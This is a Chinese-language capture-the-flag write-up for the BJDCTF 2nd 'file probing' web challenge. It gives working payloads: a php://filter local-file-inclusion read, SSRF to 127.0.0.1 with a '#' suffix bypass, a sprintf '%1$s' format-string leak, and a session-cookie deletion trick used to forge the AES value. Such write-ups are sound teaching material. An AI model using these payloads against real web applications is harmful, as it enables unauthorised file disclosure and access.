[BUUOJ記錄] [BJDCTF 2nd]文件探測


感覺算是這次比賽里面綜合性很強的一道題了,主要考察SSRF、PHP偽協議包含、挖掘邏輯漏洞和一個小tirck。委屈的是第一天晚上就做到了最后一步,想到了SESSION置空即可繞過,但是最后讀Flag姿勢不對導致比賽結束都沒做出來......QAQ

進入題目Header發現Hint,BJD一貫的尿性,做BJD題目的時候F12不能關 - .-

 

根據提示進入home.php,發現URL變成了:

http://d3a0ad27-3c95-46f7-bfc2-208e580c984b.node3.buuoj.cn/home.php?file=system

file的值是system,實際上包含的是system.php文件,猜測后端應該是自動拼接拓展名的

懷疑存在文件包含,用php://filter偽協議試着讀一下:

php://filter/read=convert.base64-encode/resource=home

解碼獲得home.php的源碼:

<?php

setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);

if(isset($_GET['file'])){
    if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {  //過濾了^、~、&、|字符
        die("forbidden");
    }

    if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){   //不能包含含有flag字符的文件
        die("not now!");
    }

    if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){  //不能包含含有admin字符的文件
        die("You! are! not! my! admin!");
    }

    if(preg_match("/^home$/i", $_GET['file'])){    //不能只包含home字符串
        die("禁止套娃");
    }

    else{
        if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
            $file = $_GET['file'].".php";
        }
        else{
            $file = $_GET['file'].".fxxkyou!";   //只能以home和system結尾
        }
        echo "現在訪問的是 ".$file . "<br>";
        require $file;
    }
} else {
    echo "<script>location.href='./home.php?file=system'</script>";
}

一些約束我已經注釋在了代碼后面,可以看到其實還是限制比較大的,但是還可以用同樣的辦法讀到system.php的源碼:

<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
    echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
    header("Refresh:0.1;url=index.php");
    die;
}

$str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
$str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ ';
$str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';

?>

......<此處HTML代碼省略>
<?php $filter1 = '/^http:\/\/127\.0\.0\.1\//i'; $filter2 = '/.?f.?l.?a.?g.?/i'; if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) { $url = $_POST['q2'].".y1ng.txt"; $method = $_POST['q3']; $str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>"; echo $str1; if (!preg_match($filter1, $url) ){ die($str2); } if (preg_match($filter2, $url)) { die($str3); } if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) { die($str4); } $detect = @file_get_contents($url, false); print(sprintf("$url method&content_size:$method%d", $detect)); } ?>

重點關注后半段PHP代碼,我們可以獲取到以下的限制條件:

1.不能包含有flag字符串

2.q2的值必須以http://127.0.0.1/開頭,其實相當於是限制了只能通過SSRF讀取文件

3.POST獲取了q1、q2、q3三個值,其中q1值並沒有什么限制,q2后會拼接“.y1ng.txt”字符串,q3中需要以GET或POST字符串開頭。

首先是無法直接讀取到flag文件,通過home.php文件的源碼我們可以猜測應該還存在admin.php文件,

其次就是我們傳進去的URL即q2值會被拼接上無用字符串,我們可以通過在URL后加 "?a=(GET賦值給一個參數)" 或 "#(錨點)" 來讓其失效,

最后一個考的點就是在這兩行代碼上:

$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));

這里牽扯到了字符串的格式化的知識,%d會將$detect(即源碼)以二進制數的形式輸出,所以並不能得到我們需要的源碼。

而主要思路就是讓$detect以字符串形式(%s)來輸出,我們有兩種讀取admin.php源碼的方法:

1. %1$s  ——  這種辦法原理是%1$s會將第一個參數用string類型輸出,而這道題中第一個參數便是admin.php的源碼,語句是:

print(sprintf("$url method&content_size:"GET%1$s%d", $detect));  // %1$s會以字符串格式輸出$detect,而%d會輸出0

2. %s%  ——  這種辦法的原理是sprintf()函數中%可以轉義掉%,這樣語句就變成了:

print(sprintf("$url method&content_size:"GET%s%%d", $detect));  // %d前的%被轉義,因此失

構造出Payload,POST發送給system.php即可獲得admin.php的源碼:

q1=1&q2=http://127.0.0.1/admin.php#&q3=GET%1$s 

得到admin.php的源碼:

<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5($_SERVER['REMOTE_ADDR'],true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
    if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
        return true;
    else
        return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} else {
    echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {   //只要傳入decrypt參數就不會生成隨機數
    $decr = $_GET['decrypt'];
    if (Check()){
        $data = $_SESSION['secret'];
        include 'flag_2sln2ndln2klnlksnf.php';
        $cipher = aesEn($data, 'y1ng');  //注意!這里加密的內容是從SESSION中取的,突破點就在這里
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;   
        } else {
            die('爬');
        }
    } else{
        header("Refresh:0.1;url=index.php");
    }
} else {
    //I heard you can break PHP mt_rand seed
    mt_srand(rand(0,9999999));   //這里的種子是真隨機了,無法爆破
    $length = mt_rand(40,80);
    $_SESSION['secret'] = bin2hex(random_bytes($length));
}


?>

 

這里其實出題人還把代碼縮進了一下,能看清楚每個循環的對應。

主要代碼中第一層if循環else代碼塊中的mt_srand隨機數是真隨機了,不像是上一屆中的可以爆破,所以我們從上面的代碼塊入手。

這里有一個Trick:

session繞過。刪除cookie,沒有cookie中的SESSIONID就找不到對應的session文件,相應的$_SESSION['var']就為NULL,傳參NULL。

引用自: https://www.jianshu.com/p/9c031dee57b7

所以只要我們在訪問admin.php時,刪除session訪問,代碼就會變成:

$cipher = aesEn(NULL, 'y1ng');

因此我們就可以計算出密鑰,從而獲得Flag。

把加密算法改一下得到:

function aesEn($data, $key){
    $method = 'AES-128-CBC';
    $iv = md5('174.0.222.75',true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

echo aesEn('', 'y1ng')

得到密鑰:70klfZeYC+WlC045CcKhtg==

這里還有個坑,密鑰中是有+符號的,直接用明文去訪問得不到Flag!所以URL編碼一下,然后刪除掉SESSION再訪問就可以得到Flag:

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM